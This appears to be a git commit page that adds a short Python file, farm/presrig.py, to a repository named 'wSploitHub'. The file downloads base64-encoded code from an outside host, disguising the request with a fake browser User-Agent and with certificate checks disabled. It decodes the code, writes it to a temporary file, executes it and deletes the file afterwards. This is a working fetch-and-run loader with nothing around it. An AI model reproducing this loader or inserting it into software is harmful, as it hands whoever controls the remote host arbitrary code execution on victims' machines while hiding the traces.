Add farm/presrig.py
This commit is contained in:
parent
c71e35b483
commit
629bba459a
28
farm/presrig.py
Normal file
28
farm/presrig.py
Normal file
@ -0,0 +1,28 @@
|
||||
import requests
|
||||
import base64
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
|
||||
def get_contents(url):
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
|
||||
}
|
||||
response = requests.get(url, headers=headers, verify=False)
|
||||
return response.text if response.status_code == 200 else None
|
||||
|
||||
|
||||
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/farm/rig/rigpy"
|
||||
encoded_code = get_contents(url)
|
||||
if encoded_code:
|
||||
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
|
||||
|
||||
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
|
||||
temp_file.write(decoded_code.encode("utf-8"))
|
||||
temp_file_path = temp_file.name
|
||||
|
||||
try:
|
||||
exec(open(temp_file_path).read())
|
||||
finally:
|
||||
os.remove(temp_file_path)
|
||||
|
Loading…
Reference in New Issue
Block a user